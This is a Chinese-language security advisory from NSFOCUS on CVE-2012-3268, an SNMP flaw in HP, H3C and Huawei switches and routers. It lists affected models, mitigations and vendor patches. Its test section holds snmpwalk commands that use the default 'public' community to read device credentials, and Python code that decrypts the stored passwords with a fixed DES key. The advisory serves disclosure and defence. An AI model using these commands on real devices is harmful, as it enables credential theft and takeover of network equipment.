首页 -> 安全研究

安全研究

安全漏洞
HP/H3C及华为交换机/路由器SNMP访问敏感信息泄漏漏洞

发布日期:2012-10-23
更新日期:2012-10-25

受影响系统:
H3C Switches H3C S3100 Series Switches
H3C Switches H3C S12500 Series Switches
H3C Switches 3Com Switch 4200 Family
H3C Switches  H3C S5100 Series Switches
H3C Switches  H3C S3600 Series Switches
H3C Switches     H3C S9500E Core Routing Sw
H3C Switches     H3C S7500E Series Switches
H3C Switches     H3C S5800 Series Switches
H3C Switches     H3C S5500-SI Series Switch
H3C Switches     H3C S5500-EI Series Switch
H3C Switches     H3C S5120-SI Series Switch
H3C Switches     H3C S5120-EI Series Switch
H3C Switches     3Com Switch 8800 Series
H3C Switches     3Com Switch 5500 Family
H3C Switches     3Com Switch 4500 Family
H3C Routers H3C SR6600 Series Routers
H3C Routers H3C MSR 20 Series Routers
H3C Routers     H3C SR8800 Series Routers
H3C Routers     H3C MSR 900 Series Routers
H3C Routers     H3C MSR 50 Series Routers
H3C Routers     H3C MSR 30 Series Routers
HP Switch HP 10500 Switch Series
HP Switch     HP WX5000 Access Controlle
HP Switch     HP MSR900 Series
HP Switch     HP MSR50 Series
HP Switch     HP MSR30 Series
HP Switch     HP MSR20 Series
HP Switch     HP Firewall Series
HP Switch     HP 9500 Switch Series
HP Switch     HP 8800 Switch Series
HP Switch     HP 7500 Switch Series
HP Switch     HP 6600 Router Series
HP Switch     HP 5800 Switch Series
HP Switch     HP 5500 SI Switch Series
HP Switch     HP 5500 HI Switch Series
HP Switch     HP 5500 EI Switch Series
HP Switch     HP 5120 SI Switch Series
HP Switch     HP 5120 EI Switch Series
HP Switch     HP 4800G Switch Series
HP Switch     HP 4500G Switch Series
HP Switch     HP 4210G Switch Series
HP Switch     HP 4210 Switch Series
HP Switch     HP 4200G Switch Series
HP Switch     HP 3610 Switch Series
HP Switch     HP 3600 SI Switch Series
HP Switch     HP 3600 EI Switch Series
HP Switch     HP 3100 SI Switch Series
HP Switch     HP 3100 EI Switch Series
HP Switch     HP 200 Unified Threat Mana
HP Switch     HP 1910 Switch Series
HP Switch     HP 12500 Switch Series
描述:
BUGTRAQ  ID: 56183
CVE ID: CVE-2012-3268

HP/H3C/华为部分型号的交换机和路由器存在一个SNMP敏感信息泄露漏洞。攻击者若能猜知设备所用SNMP 共同体串(Community String),通过对特定OID的SNMP请求,则可利用此漏洞取得目标设备的用户名、密码、密码存储方式以及用户权限级别等敏感信息,进一步有可能得到对系统的控制。

很多路由器和交换机开启了SNMP服务,并且使用默认或者简单的共同体字符串,例如public和private,同时登录密码没有采用加密形式,导致攻击者可以通过猜测共同体字符串来直接获取用户名和明文密码信息。如果没有设置可信地址等ACL措施,就可以直接登录网络设备。

<*来源:Kurt Grutzmacher
  
  链接:http://secunia.com/advisories/51081/
        http://tools.cisco.com/security/center/viewAlert.x?alertId=27254
        http://grutztopia.jingojango.net/2012/10/hph3c-and-huawei-snmp-weak-access-to.html
        http://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c03515685
        http://support.huawei.com/enterprise/NewsReadAction.action?idAbsPath=0301_10001&newType=0301&nameAbs
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Kurt Grutzmacher ()提供了如下测试方法:

$ snmpwalk -c public -v 1 $IP 1.3.6.1.4.1.2011.10.2.12.1.1.1



$ snmpwalk -c public -v 1 $IP 1.3.6.1.4.1.25506.2.12.1.1.1




from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24

    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3

    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)

    r = r[:16]

    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)

    return r.rstrip("\x00")

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 修改默认SNMP共同体串,设置为较复杂的字符串
* 关闭SNMP服务
* 通过防火墙或ACL限制对SNMP的访问
* 禁用SNMPv1/v2, 使用较安全的SNMP v3
* 使用SNMPv3的VACM功能禁止对h3c-user和hh3c-user  MIB的访问

厂商补丁:

HP
--
HP已经为此发布了一个安全公告(HPSBHF02819)以及相应补丁:

HPSBHF02819:SSRT100920 rev.1 - HP, 3COM, and H3C Routers & Switches, Remote Disclosure of Information

链接:https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c03515685

Huawei
------
Huawei已经为此发布了一个安全公告(Huawei-SA-20121025-01):
Huawei-SA-20121025-01:Security Advisory- SNMP vulnerability on Huawei multiple products
链接:http://support.huawei.com/enterprise/NewsReadAction.action?idAbsPath=0301_10001&newType=0301&nameAbs
(访问需注册帐号)

浏览次数:9138
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障